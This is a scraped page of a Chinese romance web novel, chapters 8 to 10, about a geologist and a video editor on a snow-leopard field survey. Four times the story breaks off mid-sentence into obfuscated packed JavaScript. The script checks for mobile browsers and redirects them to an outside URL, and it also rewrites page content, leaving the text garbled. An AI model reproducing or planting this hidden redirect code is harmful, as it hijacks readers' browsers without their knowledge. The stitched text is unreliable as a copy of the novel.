l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129099|164367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 频出,反倒惹她不悦。 如今她坦荡释怀,他却没有预想中的畅快。 一切都过去了? 如果她这样想。 “好。” * 民宿小院里,土石、植物等样本排成几列在地上晾晒,为了防止风吹破坏,小钟几个研一生坐在屋檐下看着。 容元提着奶茶回来,小钟快乐地迎上去。 “容容姐神仙下凡。” 容元把手上的奶茶分给他们,说:“是你们导儿埋单的,谢谢他哈。” “谢谢章老师!” “别只动嘴,车上还有几袋,去提。”章砺楚拿着工具包和剩余木料去仓库存放。 容元甩手掌柜,他们买了全部人的量,她就自己拎着三杯进门当好人,剩下的一点没打算管,全是俩男生去提回来的,她和小钟就躲在屋檐下亲热地聊天。 章砺楚在仓库整理物架,听到她们絮絮叨叨的声音。 “才几天没喝,就好想念这个味道。” “热坏了吧,一定要注意补水。” “还好,有风,不算太热,就是觉得要晒黑了。” “没事,回去多敷面膜,会代谢掉的。” “嗯嗯!奶茶真好喝,抱抱姐姐!” “其实如果有雪莲就好了,这个天吃起来一定很爽。” “雪莲是什么?” “一种长在土里的,脆脆的凉凉的水果。” “类似马蹄?” “口感有点像,不过我觉得雪莲比较香。” “没吃过诶……嗯,容容姐你也香。哇——”小钟抱着容元,觉得那腰真是好细,抱完一看,不禁夸道:“你这样穿好美哦!虽然好像很朴素但是有种糙中有细的感觉,啊……就是好有感觉。这个衣服颜色也好显白哦。” “是吗?”容元语调高扬,是意料之外的惊喜,“谢谢~链接发给你?” “好!” “那我先上去了哈,你注意防晒。” “好滴,待会儿见。” 俩姑娘撒开手,容元一转脸,嘴角就压不住了。 当然美啦。 她出门前特意换的。 8. 第八章 容元一进屋就和迎上来的大阳握手尖叫转圈圈。 许一斌还没太恢复好,疲惫地摇摇头。 “这两个人又来了……” 同样感冒中的周小舟茫然问她:“他们俩这是怎么了?” “同担。估计是他们喜欢的歌手发新歌了。” 刘枫“咦”一声,从论文中抬头:“他们喜欢哪个歌手啊?” “叫石木,是古风圈的,有点小众,你可能不认识。” “……嗯,不认识。” 石木是谁? 是容元爱了四年的男人,古风圈男歌手三座大山之一,现在据说因为正职繁忙,已经是半隐退状态,一年产歌两三首,发博四五条,每回更新状态,粉粉们都激动得热泪盈眶。 章砺楚和石木,被容元并封为填补她空虚无聊大四生活的两道光。甚至石木出现得比章砺楚还早一些。 那年年初,容元过五关斩六将最终拿到一线大厂的offer,周俊萍老师觉得功德圆满,也不管她了,容元整个寒假简直是报复性睡过去的。 一日下午醒来,外面天色昏灰,容元惊觉自己不能再这么堕落下去,即刻爬起床,打算去看一集今天开播的古偶,找找灵感做视频。 这一看,没在剧里找着灵感,反而陷进了片尾曲《天丹》的男声中。 那是一首荡气回肠的男女对唱,其实女声高亢缠绵的唱腔更符合歌曲的意境,但是那道清隽而富有磁性的男音实在极具穿透性,就如潺潺溪水击石之声,清澈得令人安心。 好像无论如何经历跌宕起伏满身尘垢,那道声音都能为你洗净尘埃。 容元陷进去了,勤勤恳恳几天几夜,把石木出道八年的事儿都考古个一干二净。 有一个事让她意难平到上床打滚。就在年前,石木破天荒在夏城参与了一位朋友的音乐会,虽然一向注重隐私的他严严实实戴上了头套和手套,一寸皮肤也没有泄露,但是!那可是活的石木诶!有史以来唯一一次出现在线下活动的石木诶!!这跟见到活化石有什么区别?! 要是早二十天认识他,容元砸锅卖铁也要去见见的,每每思及此,容元都捶胸顿足,引以为第一憾事。 容元第七十九次跟大阳哭诉此事。 大阳告诉她:“哦,我这么激动其实是因为琉璃锤老师也参与了合唱。是的,我爬墙了。当然,石木我也还喜欢,只是现在主推锤子老师。” 容元:“……” 琉璃锤,古风圈远古女唱将之一,就是容元入坑曲《天丹》中的那位女声。传说她初中时期就入行,擅长戏腔,唱配俱佳,给不少游戏做过cv,后期跟后辈石木及其作曲家好友欧A合作了许多佳作。 以琉璃锤和石木如今地位,不够分量的单子已经请不动他们了。而今天更新的这首《刃破雪》是一等一的大手笔,把古风圈的“山”通通搬来了。出品方是当初容元差点入职的大厂旗下游戏公司,财大气粗有品位。 容元顿感遗恨,如果当时顺利入职,现在说不定就能见到石木了…… “诶诶诶,泥现代呃老板还代嘚泥坐德呢。”许一斌一口奶茶含在嘴里警告容元。 “效果,老板,我只是在做效果。” 章砺楚在楼下检查样本归来,就见容元在这睁眼说瞎话。 这人满脑子鬼话,有时真不知哪句是真,哪句是假。 这时,走廊里面跑出来个扎着松散麻花头的女生,颇有些不敢置信地问:“我好像,听到有人在聊石木?” 大阳:“你也听古风圈?” 女生:“啊啊啊发新歌了啊啊啊啊!” 于是三个人又抱在一起转圈圈。 其余人唯有一声叹息。 女生是大二的小颜,也是因感冒留在民宿休养,这会儿跟容元和大阳蹦跶在一起,看起来精神抖擞,药到病除。 小众圈子遇到同好十分激动,三人去到沙发区持续热聊。最宽敞的布艺软沙发让刘枫、许一斌和周小舟占领了,那三人手舞足蹈,分别落坐三个单人沙发也分割不了他们的火热之情。 容元入坑最早,在跟他们吹自己最引以为傲的事迹。 “当年微博发私信会显示未读和已读,有几次我给石木发私信,我亲眼见着状态从未读变成已读,”容元声音逐渐变形,“我一边发,他一边看……” “啊啊啊啊——”小颜帮她尖叫,“我粉上的时候只能发一条私信了老天鹅!!” 大阳淡定许多:“我都不发私信,女神高冷,我就乖乖在远处欣赏,这样她也会欣赏我,我们就达成了双向奔赴。” 各有各的疯。 沙发那边人多,章砺楚就坐在接待台这边,好像为了特地守着一桌子奶茶。 马叔白天闲不住往外跑,除了早晚两餐,他们这些住客基本自助。接待台有点乱,章砺楚看不下去,随手帮理理整齐。整完觉得有点燥热,即使不太爱喝奶茶这种糖精饮料,还是插了吸管啜饮降温。 总之又忙又闲的,一直待这儿不走。 不多时,刘枫也过来了。 容元看她起身要走,问她:“刘老师,我们是不是吵到你了?” 她忙说:“不是不是,坐久了有点热,起来活动活动。” “你真的有点热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129100|164367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诶,额头都冒汗了耶。”大阳声音忽然嗲嗲的。 直爽干练的刘枫老师一下面露尴尬:“哈哈哈是吗?” 容元说:“去喝奶茶降降温。” “好呢。” 她过去跟章砺楚同款姿势插兜喝奶茶,半晌无言,与那边热闹的粉丝聚会形成鲜明对比。 “不过,容容姐,石木出道了这么多年,怎么能一点私人信息都扒不出来呢?你也没听说过吗?他的音色这么有辨识度,如果在路上听到了,我觉得我会认出来的。” “这你就有所不知,此男极善伪装。很多年前他在某个语音采访中被问到过这个问题……”说着,容元课代表翻出了珍藏已久的低像素视频,给新人补课。 是古早的XX语音录屏,信号不佳的电流噪声中,女主持人甜美地说:“都知道我们石木是保密局的,但是我们收集到一个粉丝们的疑问,大家很好奇,石木的声音在现实生活中真的没有被认出来过吗?” 短暂的延迟后,一道清透的男声响起,包浆的音质都挡不住的清风拂面。 “还真没有,笑。可能因为,我在现实生活中说话的声音不是这样的,我现在,包括唱歌的时候,会用气息调控自己的声线,让自己的声音跟自然状态下不一样。” “天啊!这么好听的声音原来是你故意伪装出来的!那能不能用自然状态的声线跟我们说一句话,就一句?真的好想听听哦。” “不可以哦。笑。” 真如圈内人给出的那句经典评语:石木的声音是夏天的雪,冬日的温泉。 “天啊。”小颜捂着心口嘤嘤醉倒:“石木老师怎么能同时既温柔又距离感十足啊?这么古早的口头禅被他说起来就好清新动人哦。” 容元把她扶起来:“你竟然这么多课没补,真是有福了。笑。” 小颜又倒下了,捂着脸痴笑:“木木能不能再去一次线下啊?好想见见他~” 大阳:“估计不可能了。他和锤子老师都是究极保密级别,我们只能偶尔在欧A的微博里看到一点他们的动态。” 容元:“许愿一个线上活动,万一呢。” 在冷清的一隅,章砺楚老师和刘枫老师手上的冰奶茶转眼之间就喝空了。 刘枫率先找回了笑容,拍拍章砺楚肩膀,意有所指:“……还喜欢石木,Buff叠满了哦章教授。” 章砺楚面无表情地回敬一眼:“你也很受欢迎,刘老师。” 容元忽地垂下眼睑,小颜还在一旁快乐地考古,但她有些笑不出来了。 你绞尽脑汁的倾盖如故,比不上别人对视一眼的心照不宣。 9. 第九章 晚上容元粗剪了这几天的日常集合发进公司群里,大家七嘴八舌提意见,讨论一阵后出来了精剪方案,但容元做了一会儿就心浮气躁。 想刷刷手机,不知不觉就点开了某人的微信头像。 她已经很久没做这件事了,当初断联后她难过了一阵,为了干净地戒断,她把他的朋友圈屏蔽起来,逼迫自己不再关注他的动向。 为什么不干脆删了好友呢?对方不删那她也不删,不然显得她多过不去似的。 Zlc。 干干净净的微信名。微信号则是他的英文名WallisZhang。 万年不变的头像,容元久违地点开那张照片的大图。 那是一张章砺楚去墨脱考察时拍摄的照片。一块灰白色的蛇绿岩被他举到芭蕉叶旁,位于画面最左侧,一条深远的峡谷小径蜿蜒出去,被茂盛的山林拦截,远方,比蔚然参天的树林更高的,是延绵天际的雪山。 从热带的芭蕉到高寒的冰川共存于肉眼所及,是自然赋予的最大奇遇。 “对我而言,是探索之心的明灯。” 他这样告诉过容元。 他对于自己想要追求的事物,有天长地久的恒心。 只有不重要的东西,才可有可无,不值得花费多一点心思。 容元,你早就知道了。 他的朋友圈也是一如既往的无聊,一年发不了几条,全都是科研相关。容元随便点开一条,就看到了刘枫的评论。 刘枫:章博士牛,吸好运。 Zlc:你俩要么去别处吵? 中间应该是有他们共同好友的插科打诨,章砺楚回得很随意。对于他这样寡淡正经的人,是极稔熟的关系才会使用的语气。 他们真的关系很好。 容元想起,刘枫是有点回避许一斌的肢体接触的,可她会很主动去碰章砺楚,而连“师兄”和“学长”都要分得清清楚楚的章砺楚,丝毫不觉得刘枫的触碰有异。 容元拉着脸,大概是憋着一口气要让自己脱敏,又点开了几条他的朋友圈看,大多都有刘枫的点赞或评论。 其中一条,应该是他去年入职江大的时候发的学院新闻。 刘枫在评论说:恭迎新同事,求章博士带飞。 Zlc回:前辈折煞我,我请刘博士带飞才对~ 波浪号。 容元心坠千斤石,赶紧退出来,听一下石木的新歌换换脑。 合唱人数多,每个人分词就几句,也许是容元的偏爱之心,她觉得石木分到的就是最好的词。 向断崖讨碗月色酒 敬所有未出口的回头 风雪不怜人间瘦 又何惧 天地对折于刃口 斩断宿命的绸 最后两句是全体合唱,十几到各有千秋的声线之中,她清晰地分辨出他的声音。 溪流击石,洗濯她心灵。 何惧。 无所谓。 容元一鼓作气,把视频剪了两个版本,第二个版本收获一致好评。不过,视频里出现了章砺楚的声音和背影,许一斌让容元发去给人家检查一下,容元应下,转头就给大阳发了20块奶茶费让大阳问。 干完活一身轻松,容元拿着热水袋出去水房接热水。还没走到,就听到佳佳和小颜的声音,在那叽里咕噜聊她们章老师呢。 容元不想偷听人闲话,所以光明正大加入:“我能听吗?” 小颜见到容元,脸上满溢亲热,手缩在胸前跟她招招:“在说章老师好受欢迎,他公选课每一次都爆满。” 小颜的闺蜜小朱也在,但是完全不把容元当外人。之前集体活动时容元给很多女生拍过照,大家心里对这个姐姐的印象都很好。 小朱直言:“我们觉得章老师一定是智性恋,所有心怀不轨贸贸然想去跟他搭讪的女生最后都会被他训走。” 容元:“是吗,他还会训人?” “嗯啊,不过老师也不是骂人啦,就会说‘这个问题,你如果看过几篇论文就不用问我了’,或者‘你在搜索引擎上就能找到十个答案’、‘考上江大不该是这种水平’之类让人自惭形秽的话。” “嗯……是挺会打击人的。”不过,容元问他一些幼儿园问题的时候,他好像还算耐心?转念一想,她又不是他学生,没有引起师生不伦恋的风险,他有点耐心也是应该的。 小颜很维护章砺楚:“不这样的话还不知道要被烦到什么时候呢,老师这样做是正确之道。” 佳佳跟她俩站一起,气质上是十足的姐姐范:“行了你俩。”她扶额,转向容元,告状一样:“俩迷妹,因为沉迷章老师的颜值在跟我打听考他研究生的事呢。也就不当他学生的时候想想吧,我跟小钟已经不行了,想到章导儿好好的一张脸开口却是要检查我的学术水平和科研进度,我就想倒地抽搐口吐白沫。” “哎呀,问问嘛。也不是一定要读研~不过学姐,章老师真的没什么八卦吗?” “呃,真没听说。我觉得吧,比起洁身自好,我更愿意相信章导儿是眼高于顶,或者在感情方面没啥兴趣,他看一只狗的眼神比看我们要温柔多了。他平时业余也就打打球,还有就是和刘枫老师还有欧阳老师来往多点吧,他们好像在进江大成为同事之前就认识的,哦,欧阳老师跟章导儿都是泽大的,我想起来了。” 那刘枫跟他们不是同学,怎么会关系那么好呢? 不过没人提这个问题,她们又聊起学院的其他八卦。 容元打了水要撤,佳佳轻轻拉住她,附过来跟她小声说:“我们蛐蛐章导儿的事,你不许告诉他哦。” 容元一脸正色:“我怎么会告诉他,我都不跟他说话的。” “哦~” “……” * “哇这个主办方好烂,教学楼得有几百年没修了,然后门口的路又在保护车子开不进来,每天开会得走几公里去会议室。这就罢了,附近连咖啡外卖都点不到,我们要等学校餐厅打咖啡,结果不知道是他们说的咖啡机不灵还是根本就是他们上班迟到,whatever,我们一群业内有头有脸的学者每天像乞丐一样等一杯咖啡……” 欧阳亚这几日在国外参加学术会议,各种条件远低于预期,他浑身难受,给章砺楚打来语音电话大肆吐槽。 “嗯。”章砺楚听得挺三心二意,手在键盘上不紧不慢地码字,在写一篇给市政办的科普小文章。 “嗯?你的师兄辛辛苦苦凄凄惨惨,你就一声‘嗯’?!” 名为青源调研&拍摄的群里有信息@章砺楚,他点开看。 狂暴金乌:章老师,我们准备发的视频里有一些你的镜头,这样处理ok吗?@Zlc 狂暴金乌:[视频] “章砺楚?章砺楚!你连‘嗯’都没有了!还有没有天理啦!” 章砺楚看完视频,才慢条斯理跟他搭话:“有话直说吧欧阳亚,你半夜不睡觉就为了说这个?” “嘿嘿。”欧阳亚贼兮兮一笑,一改委屈包的嘴脸:“听说你今天给人买奶茶了,是不是,第二春来了?” “你和刘枫能聊点正事儿么?今天是给学生们买的。” “行,那什么时候给哥哥也买一杯,不能够这么多年跟哥哥出外勤都是哥哥给你买咖啡吧?” “你是我师兄,给我买点喝的天经地义。” “嘶!谁能看看啊,我们生科院台柱子章教授竟然是这副嘴脸!” “承让。” “说真的章砺楚,刘枫说你跟网红公司一小姑娘挺来劲,她还喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129101|164367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢石木,是不是真的呀?别记挂你那三个月的小学妹了,如果这次又有感觉的话你赶紧试试,你知道吧?三十而立,我俩都老大不小了,我们再这么单着,我怕我爸妈以为你对我有意思。” “行了,你能不能先管自己,别记挂了,多看看外面。” “我这不是比你难么,我又不是三个月的事儿。” 说到这话题,欧阳亚的情绪显然低下来了。 章砺楚一笑:“那你也多操心自己,亚师兄,我才二十九。” “都说了!叫我冠师兄!” 欧阳亚的亚取自亚洲,他父母觉得还挺雄心壮志的了。但欧阳亚自小力争上游,看到亚字就想到亚军,就觉得自己像个千年老二,难顶。于是给自己网名取了欧A,微信名取了欧冠,以此抚平一下心中怨气。 “冠师兄。”章砺楚还真叫了。 欧阳亚听得心里发毛:“卧槽,有病?” 章砺楚一本正经问:“有门路买到雪莲果么?” “??雪莲?是冬季果啊,现在才6月份。” “所以才问你有没有门路。” 欧阳亚回过味来,他没否认啊! “靠章砺楚,给人买了奶茶又买雪莲,可以啊。看来我是瞎操心了,行吧我给你问问人。”说罢又叹气,“我半夜不睡觉就为了听你说这个?狗屁温润如玉,明明豺狼虎豹。” “先谢过,回去给你打咖啡。” “稀罕!” 一心多用,挂电话时章砺楚也把小文章写完了,快速阅览检查,修了几处语病,便给人发过去。 他刚才把大阳截的视频看完,回了ok,现在群里已经刷新了十几条聊天记录。 狂暴金乌:[感谢感谢] 钟中众种:哇!啥时候发? 一斌女士:明天哦,会全平台发,到时候来评论点赞哈~ Miss佳:哈哈哈好!啥时候会发有我们的部分,期待~ 炒一碗好冰:应该都会有的,到时候也会提前给你们检查的~ 钟中众种:你们的视频是容容姐剪的吗,我平时好喜欢刷的。 炒一碗好冰:日常的内容大多是我剪的,不过很多都是综合了大家的意见,共创的。 一斌女士:我们容姐是灵魂剪辑手。 狂暴金乌:经常把我剪成笑料[震惊] 炒一碗好冰:宝贝。 一斌女士:你那不是她剪出来的。 舟行:哈哈哈 舟行:期待被拍进Aha大王的视频里。 刘枫:章老师连这个角度都这么上镜。 刘枫拍了拍“Zlc” …… 炒一碗好冰。 她很喜欢用一作为量词的id,比如以前叫一颗好头,微博名叫一条好虎皮卷。 还喜欢给自己加好字,挺会润色。 但确实招人喜欢,开朗、幽默,实际做起事情谦逊又有担当。 就是有时候没个正型,随随便便喊人宝贝,用的头像也乱七八糟的,是一只小三花卡在砖孔里出不来,正龇牙咧嘴哈气。 嗯……挺像的。 调研&拍摄群里有乱七八糟聊了一堆,但章砺楚一直没出声,没去搭理刘枫恭维他的话。 容元有点控制不住自己,躺床上了还老想这个事。 不该不该,都说了都过去了。 不如听听石木平心静气。 可是拿起手机就见那人发过来的信息。 Zlc:给我挡脸的素材,就是个石头吗? 容元好像喝下了一碗温热的银耳雪梨羹,浮躁之气骤然平息。 炒一碗好冰:你头像不是就有小半个石头吗。 Zlc:哦,误会了,我以为是你想打我的意思。 10. 第十章 第二次上山,容元体会到佳佳所说的章老师让她“倒地抽搐口吐白沫”的压迫感了。 经过一日的休整,调研&拍摄团队重整旗鼓,以健康积极的面貌再战高原。来到3500海拔,他们不敢像前天那样嘻嘻哈哈,省着力气干活,顺利来到新的勘察点。 章砺楚用木棍轻轻拨开一丛草,随口点名:“小钟,这是谁的粪便。” 没见过世面的Aha三人组震了震。 小钟凝神上前,略一思考:“根据大小和里头的鼠兔残渣来看,应该是兔狲或者藏狐的。” “嗯,那么,是兔狲还是藏狐?” 小钟便秘状,默默退下。 阿东蹲下来细看:“有两种动物残渣,而藏狐是鼠兔专食,所以应该是兔狲?” 章砺楚继续问:“专食,就一定只吃鼠兔吗?” 小钟:“那就是藏狐了!” 大家都笑了。 容元又在章砺楚脸上看到风光霁月的感觉,跟昨天小颜她们口中的毒舌老师很不一样嘛,他是真的喜欢这份工作,所以乐在其中。 他说:“不要靠蒙,仔细辨别样本之外的信息。比如,刚才我们一路过来,有看到昆虫在飞,昆虫在兔狲的食谱里占有一定量的比重,但是这个排泄物里并没有昆虫的痕迹。其次,你们有没有注意到附近草丛的高度?” 周小舟补充道:“兔狲腿短,在这里生活视野受限,所以不会放心在这里排便。” 章砺楚点点头:“好了。收起来吧。” 周小舟马屁发条启动:“不愧是行为分析巨佬!” 阿东和小梁你笑笑我我笑笑你,互相谦让。 “你来吧。” “还是你来。” 不过也不多啰嗦,就一个回合,阿东就用镊子把那条粪便装进收集管里,然后递给小梁。 “来,双手接着你的论文吧!” 小梁生无可恋脸打开自己的包。 其余人也在周围搜刮样本。 再往高处去,那风就有点像刀子的寒意,飞沙走尘,什么鼠兔和昆虫都不见了,这里的草根都是干的黄的,因为,雪山就在眼前了。 一群岩羊零零散散伫立在裸岩壁上用餐,那蹄子牢牢定在几近90°的峭壁,仿佛优哉游哉的绝世高手。 周小舟仰头感叹:“啊~这就是雪豹的食堂。” 许一斌无语地笑出声。 周小舟看过去一眼,露出了那天把酸奶摆上桌的表情。 大概就是,又取悦到她了,我真棒。 前段时间有线人通知,在这片区域见过雪豹,这打破了此前的记录。这意味着,雪豹在青源—禾迦山一带的活动范围更广了。生态的好转和全球气候变暖都会影响雪豹数量及其活动范围,其中关系如何还待进一步考察。但可以肯定的是,他们所做的事情在起作用,他们的付出是有意义的。 仔细查看推证后,他们找到了几处雪豹出没的痕迹,确定了布设红外相机的范围,大阳便驻扎下来,展开三脚架拍大片。容元则是用手持摄影拍补充素材,跟着人员移动。在许一斌这边拍取材得差不多,她就换了其他拍摄对象,换来换去,章砺楚总是在事件的中心。 容元干脆不避了。 或者诚如刘枫所言,章砺楚在任何角度下以任何部位出镜都是好看的,冰冷的镜头都如此青睐他,何况掌镜人。 他们确认了一条兽道,为了找到精准拍摄的角度,小梁毫不犹豫地趴下,四肢着地,身体压低到接近雪豹的体高,模仿行进路线。 其他人已经见怪不怪,随手给他录了一段像。他们好像都已经融入这种野性的自然中,衣服沾满泥尘也乐乐呵呵的。 章砺楚站一旁设置着红外相机,他微微低着头,嘴角也挂着一丝浅淡的笑,是与学生们同样畅快的情绪。 他以前跟着老师和师兄师姐去调研的时候,也跟现在的他们一样吧。 容元有点可惜,没见过他那么活泼的一面。 不过,他现在身上沉淀而出的沉稳雅致,更招人。 拍着拍着,镜头就怼到他手上去了。 上次他就换了个电池,容元就看得心里毛毛的,这会儿他做完了从头到尾整个流程,白皙修长的手指点触屏幕的时候是轻柔,抓握整个黑色机身时筋骨凸起,是侵略和掌控。 他的操作就是艺术。 糟糕,容元想,这一段融入了她凝视的素材如果剪进成品,是否太过露骨,可是如果不使用,又未免可惜。 她悄然后退一些,抬高镜头视角,豁然心口一跳。 这人正直直盯着她,透过镜头,他的目光好像来自时间深处。 容元不自觉问:“章老师。” 他眉尾一扬,似没想到她会这么正经叫他:“嗯?” “有个问题。上次你们说丢失了部分相机,能不能用GPS减轻这种情况?” “按理说可以。” 他还是那样盯着她手中的镜头,也是盯着她的眼睛。 “不过,包括我们项目组在内的大多数动物学相关的项目都面临着经费不足的问题,所以带定位的红外相机我们做不到大批购买和投入使用,这确实是我们调研的困境之一。在这里我也希望可以通过媒体朋友呼吁一下,请大家多多关注我们野生动物保护和生态改善,谢谢。” 容元下意识轻声接道:“好,帮你呼吁。” 说完,她自己都一愣,太傻了吧。 不知不觉又被他勾引。 她视线从镜头里挪开,悄咪咪给那真人翻了个白眼,不想又被他抓到。 他侧了侧头对她表达疑问,容元相信,这段素材拍下来必然有种打破第四面墙的诡异。 没事,谁让她是剪辑手呢。 容元给了他个假笑,就转去拍佳佳她们了。 他们真的在地上发现了很多门道,容元拍到沉浸,跟她们一块儿蹲了半天,直到阿东捂着肚子嚎:“啊好饿啊!” “说起来我也有点咕咕叫。” “那,开饭了?” “好,停工,先吃东西。”章砺楚很快给出定论。 半跪的地面工作者们纷纷拍拍膝盖、拍拍屁股站起身,容元没跪,蹲得脚有点麻,慢吞吞起身。 章砺楚走了两步发现后面没动静,忽然想起来什么,一回身,就见小姑娘两眼懵懵地走了一小步,第二步刚抬脚人就失去平衡地一歪。他两步作一步赶过去扶住她,人瞬间砸进他臂弯。 她有点低血压,久蹲站起就容易这样,何况这里3800的海拔。不过她体质还不错,很快缓过劲儿,眼前那阵星星散开了,马上撒开刚才紧急抓住他的手,脚步也不停地走开,没心没肺说了句:“谢谢章老师。” 昨天不是她自己挺坦荡说开了么?怎么感觉她还是对他有意见? 山里工作,他们一般携带的都是自热锅。找了块空地,周小舟把他那巨型背包打开,让大家选口味。其实也就两种口味,爆肚和海鲜,能坚持在这种环境工作的人基本都告别了挑食的坏习惯,有啥吃啥,所以小钟就主动上去掏给大家。 章砺楚最先拿到一份爆肚的,下意识扫了眼包装上写的食材,顺眼又看了看旁边周小舟手里的海鲜口味。 Aha三人组凑在一起聊她们的素材,过来得有点慢,最后三盒都是海鲜口味的。容元跟在最后,小钟把最后一盒递过去,却看到了她导儿同时也把自己那盒伸过去。 小钟:“咦?” 章砺楚淡淡说:“她不吃那个。” 在场所有人都静了静。 大家那视线都在咻咻砸过来,容元顿生不满,不知道这个人是怎么回事,逆反心起来了,直接拿了小钟手里那盒,一边说:“我就吃这——” 话音未落,她就看清了盒盖上写的食材里面有蟹柳。 “……”她快速地瞟了瞟章砺楚手上那盒,然后说, “不好意思,拿错了。”她笑眯眯的,跟章砺楚换了过来,“谢谢章老师哦。” 哦。 红橙橙的蟹柳条从包装袋倒进锅里,四仰八叉的。章砺楚想到某人刚才尴尬又强装镇定的假笑,嘴角不禁跳了跳。 某人在那边,跟几个小孩凑在一起,毫不吝啬地表示对热食的赞美。她今天穿着灰突突的冲锋衣,帽子是老老实实跟大家一样的迷彩防晒帽,即便衣着黯淡面无修饰,她依旧鲜活明媚。 欧阳亚有一段时间老拿三个月来嘲笑他,说他就经历了一段都不到三个月的暧昧关系,人姑娘那么洒脱肯定早忘了,他怎么还在记着呢? 可他就是忘不掉,甚至现在三年过去了,每一件事都还犹如沙漠中新绽的刺旋花,色泽艳丽,无可忽视。 * 容元讨厌蟹柳这件事,是她差不多也四仰八叉坐在路边告诉他的。 那时他在攻坚一篇SCI论文,数据怎么都跑不出来,一整天都泡在实验室里。 那个天天蹲他一起吃饭、号称他不在就吃嘛嘛不香的人呢,在劝他几句劝不出来之后,就跑去跟她的社团同僚聚餐了。 不仅如此,还拍了满满一桌菜发给他,还每半小时一条信息,明里暗里问他可不可以去接她。 一颗好头:完了,这伙人今天要当断头饭喝。早知道不来了,呜呜。 一颗好头:师兄不在,食不下咽,想见师兄。 一颗好头:开始了,酒也太难喝了。 一颗好头:有点晕,不知道待会儿能不能自己回去。师兄做完实验了吗[委屈] 一颗好头:醉了,想要师兄接接。 呵,说得自己这么凄苦无奈。 欧阳亚那家伙朋友遍地,刚才刚给他发了那人跟男男女女碰杯的合照,她那头艳烈的红发在人群中惹眼极了,那笑容比六月的太阳还灿烂刺眼。 所以他回:没空,不去。 对方很快回过来。 一颗好头:哦。 哦。 就一个字,无限委屈尽在不言中,好像是他多对不起她似的。 章砺楚逼自己放下手机,等跑胶的时候,他又翻出了几篇之前囫囵略过的论文重新研读。 然而脑子里好像被人装了定时炸弹,半小时后,他不得不再度点开了手机看信息。 她这次是直接发的一句语音。 实验室里就他一个人,点开前他还是调到最低音量,侧身倾耳,也不知在防着些什么,直到她软绵绵的声音从听筒中传出。 “章砺楚~” 什么别的都没说,她就口齿缠黏地喊了他名字,呓语一般,像陷入噩梦的人抓紧棉被的手。 章砺楚觉得自己也被抓住了。 看看时间,还剩一个多小时,足够去她聚餐地点把她带回宿舍再回来。章砺楚脱下实验服,去水池洗了手,大步出门。 出了实验室大楼便觉空气凉润,微风吹得他头清目明,脚步一步快过一步,后来竟是迫不及待地跑了起来。 泽卞大学聚居区内最威风的火锅店聚贤阁,现在临近毕业季,店里天天爆满,大家聚在一起吹水吹酒瓶,吹得不够都对不起这儿的人均消费,从里面出来的人要么饱得踉踉跄跄,要么醉得踉踉跄跄。 章砺楚从学校南门出去,先经过聚贤阁的后门,本想停下休整一会儿,不期然被一只火眼金睛的尖叫羊发现了。 “啊~~~ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129102|164367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ~~你真的来了!”一头火红长发的小姑娘就抱着膝盖坐在后门边的台阶上,看见他高兴地满脸傻笑,弯弯的眼睛亮若星辰。 章砺楚第二反应是,糟糕,被她抓着自己这么上赶着的样子了。 第三反应是,还真醉了? 走过去,她一把抱住他膝盖,章砺楚哭笑不得。 “章砺楚~”这会儿她又不乐了,一把哭腔,高高仰起头看着他,活脱脱一个受了委屈的小朋友找到家长告状的样子。 “你知道他们有多过分吗?不知道谁说出去的我最讨厌吃蟹柳,他们就罚我游戏输了吃蟹柳,还美其名曰照顾美女我呸呸,蟹柳那么难吃,明明是面粉捏的,非要取名叫蟹柳,你说这不骗人吗?我肯定不吃啊,我酒量还可以的,看我把他们都喝趴了……” 她今天穿的一条牛仔短裤,虽然没有热裤那么短,但是有几个破洞,她一边跟他诉说自己的英勇,那腿就一边乱蹬。 “先起来。”章砺楚双手伸给她。 容元收声,红红的嘴唇抿了抿,很有礼貌地问他:“学长,我可以牵你的手吗?” 章砺楚说:“不可以,我只是扶你起来。” “那我不起了。” “行。”章砺楚干脆地把腿抽走,“那我先回去了。” “呜——”容元把嘴一撇。 章砺楚定住,施舍地只给她一只手:“起不起?” 容元见好就收,两手扒拉住他的手,他手腕一翻,竟然像捉犯人一样把她两只纤细的手腕都一起抓住,一下子用力把她提了起来。 不是装的,容元真被他这骤然凌人之势刺得腿软,直直载进他怀里。她一身酒肉泡出来的俗臭,而他身上的干净的香气,带有一点实验室里某些试剂的冰冷质感。 有细细的电流窜过她的身体,她鬼使神差说了一句:“夏天的雪……” 章砺楚一震:“什么?” 